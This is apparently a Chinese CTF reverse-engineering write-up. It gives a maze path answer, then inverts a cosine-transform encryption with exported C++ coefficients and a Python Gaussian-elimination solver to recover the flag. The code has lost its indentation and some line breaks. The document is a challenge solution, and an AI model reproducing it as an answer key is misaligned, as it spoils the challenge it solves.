sddsdssdddwwwddsssssaaaaassddsddwdds
结果还需要跟编码表对应,直接在代码里加一个打印就可以
input maze path:sddsdssdddwwwddsssssaaaaassddsddwdds
3eea35d-953744a-6d838d1e-f9802c-f7d10
right! you maybe got it,flag is flag{the footprint of the maze path}
还原一下加密:
import math
input = b'a'*64
result = [0] * 64
length = len(input)for i in range(64):
for j in range(64):
result[i] += math.cos((j + 0.5) * (3.141592653589793 * i) / 64) * input[j]
if i == 0:
result[i] *= math.sqrt(1.0 / length)
else:
result[i] *= math.sqrt(2.0 / length)
print(result)
根据这个可以列出来一个64元的方程组,为了保证精度,我在CPP里导出一下系数矩阵:
#include <iostream>
#include <cmath>int main(){
double codes[4096];
double v6, v7, v9 = 64;
for (int i = 0; i < 64; i ++){
for (int j = 0; j < 64; j ++){
v6 = cos(((double)j + 0.5) * (3.141592653589793 * (double)i) / (double)v9);
std::cout << v6;
std::cout << ", ";
}
}
double a1, a2, a3;
a3 = 64;
a1 = sqrt(2.0 / (double)a3);
a2 = sqrt(1.0 / (double)a3);
std::cout << a1 << std::endl; // 0.176777
std::cout << a2 << std::endl; // 0.125
}
然后让我们的G老师写一个高斯消元法的代码:
with open("enc", "r") as f:
result = f.read().split(' ')[:-1]
output = [float(i) for i in result]
with open("codes.txt", "r") as f:
factors = f.read().split(', ')[:-1]
factors = [float(i) for i in factors]g = []
l = []
for i in range(64):
m = []
for j in range(64):
m.append(factors[i * 64 + j])
if i == 0:
l.append(output[i] / 0.125)
else:
l.append(output[i] / 0.176777)
g.append(m)
def gauss_elimination(A, b):
# 初始化增广矩阵
n = len(A)
aug = [[0] * (n + 1) for i in range(n)]
for i in range(n):
for j in range(n):
aug[i][j] = A[i][j]
aug[i][n] = b[i]
# 高斯消元过程
for i in range(n):
# 首先选取主元pivot
pivot_row = i
for j in range(i + 1, n):
if abs(aug[j][i]) > abs(aug[pivot_row][i]):
pivot_row = j
# 交换当前行和主元所在行
if pivot_row != i:
aug[i], aug[pivot_row] = aug[pivot_row], aug[i]
# 消元过程
for j in range(i + 1, n):
factor = aug[j][i] / aug[i][i]
for k in range(i, n + 1):
aug[j][k] -= factor * aug[i][k]
# 回代求解
x = [0] * n
for i in range(n - 1, -1, -1):
x[i] = aug[i][n]
for j in range(i + 1, n):
x[i] -= aug[i][j] * x[j]
x[i] /= aug[i][i]
return x
flag = ''
r = gauss_elimination(g, l)
result = [chr(round(i)) for i in r]
for i in result:
flag += i
print(flag)
print(r)